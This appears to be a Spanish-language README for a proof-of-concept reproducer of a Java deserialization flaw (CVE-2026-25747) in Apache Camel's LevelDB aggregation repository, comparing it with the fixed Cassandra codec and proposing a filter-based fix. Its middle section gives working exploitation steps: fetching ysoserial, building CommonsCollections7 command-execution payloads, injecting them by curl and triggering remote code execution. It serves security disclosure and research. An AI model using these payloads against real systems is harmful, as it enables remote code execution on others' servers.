
CVE-2026-25747 - Vulnerabilidad de deserialización en Camel LevelDB
Este proyecto demuestra una vulnerabilidad de deserialización en Java en el repositorio de agregación LevelDB de Apache Camel, similar a CVE-2024-23114 (que afectaba al repositorio de agregación Cassandra).
| Propiedad | Valor |
|---|---|
| Componente | camel-leveldb |
| Clase afectada | DefaultLevelDBSerializer.java |
| Métodos vulnerables | deserializeKey(), deserializeExchange() |
| CWE | CWE-502: Deserialización de datos no confiables |
| Impacto | Ejecución remota de código (RCE) |
| Versiones afectadas | Todas las versiones, incluida la 4.17.0 (sin corregir hasta la fecha de las pruebas) |
La clase DefaultLevelDBSerializer utiliza ObjectInputStream sin ningún tipo de filtrado:
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
Compárese con la implementación de Cassandra corregida (desde Camel 4.4.0):
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
Salida esperada:
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
Ahora puedes inyectar un payload malicioso con POST /exploit/inject
Descarga ysoserial y genera un payload:
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
Genera un payload que ejecute un comando (por ejemplo, abrir la calculadora, crear un archivo, etc.)
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
Salida esperada:
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
El payload se deserializará cuando:
get() sobre esta clave# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
Esto iterará sobre todas las claves y llamará a repo.get(), ¡lo que desencadena la deserialización!
# Check if the command was executed
ls -la /tmp/pwned
Si el archivo /tmp/pwned existe, ¡el exploit fue exitoso!
La vulnerabilidad se puede desencadenar a través de múltiples vías:
get() en el repositorio desencadena la deserializaciónPara una explotación exitosa:
Acceso de escritura a LevelDB: el atacante debe poder escribir en el archivo de la base de datos LevelDB
Librería de gadgets en el classpath: debe estar presente una librería con cadenas de gadgets explotables
commons-collections:3.2.1 (CommonsCollections1-7 gadgets)org.springframework:spring-core (Spring gadgets)Aplica la misma corrección que en Cassandra:
ClassLoadingAwareObjectInputStream en lugar de ObjectInputStream sin procesarObjectInputFilter configurable con valores predeterminados seguros"java.**;org.apache.camel.**;!*"Ejemplo de corrección para DefaultLevelDBSerializer.java:
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
Hasta que se publique una corrección:
JacksonLevelDBSerializer en lugar de DefaultLevelDBSerializerpotential-leveldb/
├── pom.xml # Maven configuration with vulnerable deps
├── README.md # This file
└── src/main/java/com/example/
├── Application.java # Spring Boot entry point
├── LevelDBRoute.java # Camel route using LevelDB aggregation
├── StringAggregationStrategy.java
└── ExploitController.java # REST endpoints for exploitation
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas. No lo utilices contra sistemas sin permiso explícito.
| Aspecto | Cassandra (CVE-2024-23114) | LevelDB (Este problema) |
|---|
| Estado | Corregido en 4.4.0 | SIN CORREGIR en 4.17.0 |
| ObjectInputStream | Usa ClassLoadingAwareObjectInputStream | Usa ObjectInputStream sin procesar |
| Filtro de deserialización | "java.**;org.apache.camel.**;!*" | Ninguno |
| JIRA | CAMEL-20306 | Aún no reportado |